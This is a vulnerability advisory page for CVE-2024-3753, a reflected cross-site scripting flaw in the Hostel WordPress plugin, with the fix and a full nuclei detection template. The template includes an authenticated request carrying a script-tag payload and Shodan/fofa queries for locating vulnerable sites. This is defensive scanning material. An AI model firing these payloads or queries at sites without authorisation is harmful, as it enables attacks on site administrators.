CVE-2024-3753· CWE-79
Hostel < 1.1.5.3 - Cross-Site Scripting
mediumseverity
5.9CVSS score
0.8%likelihood of exploitation, next 30 days
57%of all CVEs are less likely
Readycheck to confirm it
The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Impact
Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
Fix
Update the plugin to Latest version. Fixed in 1.1.5.3.
How to confirm it
Send: GET /
Positive when: contains "/wp-content/plugins/hostel"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domai…
Positive when: contains in body_2 "\"><script>alert(document.domain)</script>" AND contains in content_type_2 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-3753 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-3753
info:
name: Hostel < 1.1.5.3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
impact: |
Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
remediation: |
Update the plugin to Latest version. Fixed in 1.1.5.3.
reference:
- https://wpscan.com/vulnerability/e140e109-4176-4b26-bf63-198262a31409/
- https://nvd.nist.gov/vuln/detail/CVE-2024-3753
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
cvss-score: 5.9
cve-id: CVE-2024-3753
cwe-id: CWE-79
epss-score: 0.00801
epss-percentile: 0.56928
cpe: cpe:2.3:a:kibokolabs:hostel:*:*:*:*:wordpress:*:*:*
metadata:
max-request: 3
fofa-query: body="/wp-content/plugins/hostel"
publicwww-query: /wp-content/plugins/hostel/
shodan-query: http.html:"/wp-content/plugins/hostel/"
tags: cve,cve2024,wp,wordpress,wp-plugin,hostel,xss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/hostel"
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domain)<%2Fscript> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '"><script>alert(document.domain)</script>'
- type: word
part: content_type_2
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/e140e109-4176-4b26-bf63-198262a31409/
- https://nvd.nist.gov/vuln/detail/CVE-2024-3753
Use this check only on systems you are authorised to test. Where the data comes from